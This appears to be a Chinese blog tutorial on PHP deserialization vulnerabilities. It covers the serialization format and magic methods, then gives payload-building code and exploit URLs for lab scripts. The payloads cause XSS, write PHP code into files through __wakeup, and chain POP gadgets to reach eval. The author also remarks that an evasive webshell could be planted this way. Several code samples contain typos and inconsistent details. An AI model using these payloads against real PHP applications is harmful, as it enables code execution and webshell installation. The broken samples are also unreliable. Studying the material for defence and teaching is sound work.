PHP反序列化漏洞说明
PHP反序列化漏洞说明
序列化
PHP序列化的函数为serialize,反序列化的函数为unserialize.
举个栗子:
<?php
class Test{
public $a='ThisA';
protected $b='ThisB'
private $c='ThisC';
public function test(){
return "this is a test!";
}
$test1=new Test();
var_dump(searialize($test1))
}
结果:
string(84) "O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"*b";s:5:"ThisB";s:7:"Testc";s:5:"ThisC";}"
O:表示对象
:4:表示对象名称有4个字符
"Test":对象名称
3:3个成员变量
s:1:"a";s:5:"ThisA";: a变量的值为ThisA,有5个字符
s:4:"*b";s:5:"ThisB": protected,ThisC
s:7:"Testc";s:5:"ThisC";: ThisC
反序列化
反序列化就是序列化的逆过程,即对于将对象进行序列化后的字符串,还原其成员变量的过程。
栗子:
<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test(){
return'this is test';
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>
结果:
object(Test)#2 (3) { ["a"]=> string(5) "ThisA" ["b":protected]=> string(5) "ThisB" ["c":"Test":private]=> string(5) "ThisC" }
魔术方法
反序列化漏洞的形成通常和以下魔术方法有关:
__construct()
#类似C构造函数,当一个对象创建时被调用,但在unserialize()时是不会自动调用的
__destruct()
#类似C++析构函数,当一个对象销毁时被调用
__toString()
#当一个对象被当作一个字符串使用时被调用
__sleep()
#serialize()时会自动调用
__wakeup()
#unserialize()时会自动调用
__call()
#当调用对象中不存在的方法会自动调用该方法。
__get()
#在调用私有属性的时候会自动执行
__isset()
#在不可访问的属性上调用isset()或empty()触发
__unset()
#在不可访问的属性上使用unset()时触发
由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
利用__destruct
<?php
class test{
var $test = "hello";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['id'];
$a_u = unserialize($a);
?>
构造利用代码:
<?php
class test{
var $test = "<script>alert(1)</script>";
function __destruct(){
echo $this->test;
}
}
$test=new test();
$sTest = serialize($test);
var_dump($sTest)
?>
结果:
string(59) "O:4:"test":1:{s:4:"test";s:25:"";}"
利用:
只需要修改这一串:
O:4:"test":1:{s:4:"test";s:25:"";}
修改如下
127.0.0.1/php.php?id=O:4:"test":1:{s:4:"test";s:40:"<script>alert(1)</script>";}
wakeup
unserialize()后会导致 __wakeup()
或 __destruct()
的直接调用,中间无需其他过程.
因此最理想的情况就是一些漏洞/危害代码在 __wakeup()
或 __destruct()
中,从而当我们控制序列化字符串时可以去直接触发它们 .
栗子:
<?php
class test{
var $test='123';
function __wakeup(){
$fp=fopen("index.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$a=$_GET['id'];
print_r($a);
echo "</br>";
$a_unser=unserialize($a);
require "index.php";
?>
我们可以通过构造序列化对象,其中test的值设置为 <?php phpinfo();,再调用unserialize()时会通过 __wakeup()
把test的值的写入到flag.php中,这样当我们访问同目录下的flag.php即可达到实验目的!当然也可以写入你的免杀一句话木马了。。嘿嘿。。。强调一下,php是弱编程语言,容错率很强。
如果构造我们的payload?
<?php
class test{
var $test='<?php phpinfo();';
function __wakeup(){
$fp=fopen("index.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$test=new test();
$sTest = serialize($test);
var_dump($sTest)
?>
结果:
string(50) "O:4:"test":1:{s:4:"test";s:16:"";}
利用payload:
127.0.0.1/php.php?id=O:4:"test":1:{s:4:"test";s:16:"<?php phpinfo();";}
POP gadget
如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的 __construct()
,是不是就没有利用价值呢?
非也,类似于栈溢出中的ROP gadget,有时候反序列化一个对象时,由它调用的 __wakeup()
中又去调用了其他的对象,由此可以溯源而上,利用一次次的"gadget"找到漏洞点。
栗子:
<?php
class test1
{
function __construct($test){
$fp =fopen("flag.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class test2{
var $test ='123';
function __wakeup(){
$obj =new test1($this->test);
}
}
$a =$_GET['id'];
print_r($a);
echo "</br>";
$a_unser =unserialize($a);
require"flag.php";
?>
分析:
分析以上代码,我们可以给id传入构造好的序列化字符串,进行反序列化时会自动调用 test2
中的 __wakeup
方法—>unserialize()时会自动调用,从而在 newtest1($this->test)
时会调用 test1
中的 __construct()
方法,从而把 <?php phpinfo();写入到 index.php中,达到上面一样的效果。
下面构造我们的payload:
<?php
class test1{
function __construct($test){
$fp=fopen("flag.php","w");
fwrite($fp,$test);
fclose($fp);
}
}
class test2{
var $test='<?php phpinfo();';
function __wakeup(){
$obj=new test1($this->test);
}
}
$test2=new test2();
$sTest = serialize($test2);
var_dump($sTest)
?>
结果:
string(51) "O:5:"test2":1:{s:4:"test";s:16:"<?php phpinfo();";}
直接利用吧:
127.0.0.1/php.php?id=O:5:"test2":1:{s:4:"test";s:16:"";}
利用普通方法
当我们能利用的只有类中的普通方法时,这时我们需要寻找相同的函数名,把敏感函数和类联系在一起。
栗子:
<?php
class main(){
var $test;
function __construct(){
$this->test=new test1();
}
function __destruct(){
$this->test->action();
}
}
class test1{
function action(){
echo "hello world";
}
}
class test2{
var $test2;
funtion action(){
eval($this->test2);
}
}
$a=new main();
unserialize($_GET['id']);
?>
分析:
大意为,newmain()得到一个新的main对象,调用
__construct(),其中又
newtest1(),在结束后会调用
__destruct(),其中会调用
action(),从而输出
hello world`。而我们需要寻找相同的函数名,即test2类中的action方法,因为其中有我们想要的eval方法.
构造我们的payload:
<?php
class main(){
var $test;
function __construct(){
$this->test=new test2();
}
}
class test2{
var $test2="phpinfo();";
}
echo serialize(new main());
?>
结果:
O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}
执行:
http://127.0.0.1/php.php?id=O:4:%22main%22:1:{s:4:%22test%22;O:5:%22test2%22:1:{s:5:%22test2%22;s:10:%22phpinfo();%22;}}
到了到此结束!!!美好的周末。。。哈哈哈